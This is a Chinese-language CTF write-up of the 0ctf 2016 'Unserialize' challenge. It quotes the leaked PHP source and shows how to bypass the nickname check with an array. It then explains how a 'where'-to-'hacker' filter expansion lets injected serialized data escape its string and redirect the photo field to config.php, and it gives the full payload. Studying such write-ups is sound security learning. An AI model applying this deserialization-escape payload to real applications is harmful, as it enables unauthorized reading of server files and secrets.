0ctf-2016-Unserialize题目分析

题目有源码泄露,打开备份文件开始审计,注意到flag在config.php中

贴上部分需要分析的代码:

update.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {

$username = $_SESSION['username'];
if(!preg_match('/^\d{11}$/', $_POST['phone']))
die('Invalid phone');

if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
die('Invalid email');

if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');

$file = $_FILES['photo'];
if($file['size'] < 5 or $file['size'] > 1000000)
die('Photo size error');

move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);

$user->update_profile($username, serialize($profile));
echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
}
else {
?>

profile.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
$username = $_SESSION['username'];
$profile=$user->show_profile($username);
if($profile == null) {
header('Location: update.php');
}
else {
$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));
?>

首先注册登录,然后有更新信息的功能

分析下upload.php中的代码

注意到该处正则表达式是有缺陷的,我们可以使用数组的方式来绕过该处的长度限制

1
2
3
4
5
6
7
8
9
10
<?php
//test.php
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
{
echo 'die.<br>';
}
else{
echo 'gone.<br>';
}
var_dump($_POST['nickname']);

然后继续看profile的源码,发现了读取文件的函数

1
$photo = base64_encode(file_get_contents($profile['photo']));

这样我们可以反序列化控制$photo的值为config.php来获取flag

转回来我们看一下update.php中的序列化操作,代码抽取出来是这样的

1
2
3
4
5
6
7
<?php
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($_POST['filename']);
echo serialize($profile);
?>

nickname可以使用数组绕过限制

1
a:4:{s:5:"phone";s:12:"133323233434";s:5:"email";s:12:"10000@qq.com";s:8:"nickname";a:1:{i:0;s:15:"aaaaabbbbbccccc";}s:5:"photo";s:39:"upload/f3ccdd27d2000e3f9255a7e3e2c48800";}

这是正常的序列化字符串,为了控制phpto的值,我们可以利用nickname来构造我们想要的序列化字符串

例如这样:

1
a:4:{s:5:"phone";s:12:"133323233434";s:5:"email";s:12:"10000@qq.com";s:8:"nickname";a:1:{i:0;s:15:"";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/f3ccdd27d2000e3f9255a7e3e2c48800";}

这样我们需要输入的nickname就应该包含这一段

1
";}s:5:"photo";s:10:"config.php";}

然后我们来研究如何使该段字符串逃出双引号的限制

我们注意到在序列化之后调用了show_profile函数

而该函数存在一个过滤器

1
2
3
4
5
6
7
8
9
public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);

$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}

其中五位的where会被替换成6位的hacker这样序列化字符串就会多出一位,我们可以多输入几个where来达到逃出双引号限制的目的

可以看到我们需要输入34个where

接着进行利用,将nickname[]的值改为

1
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

然后访问profile.php

得到了config.php的base64编码,解码即可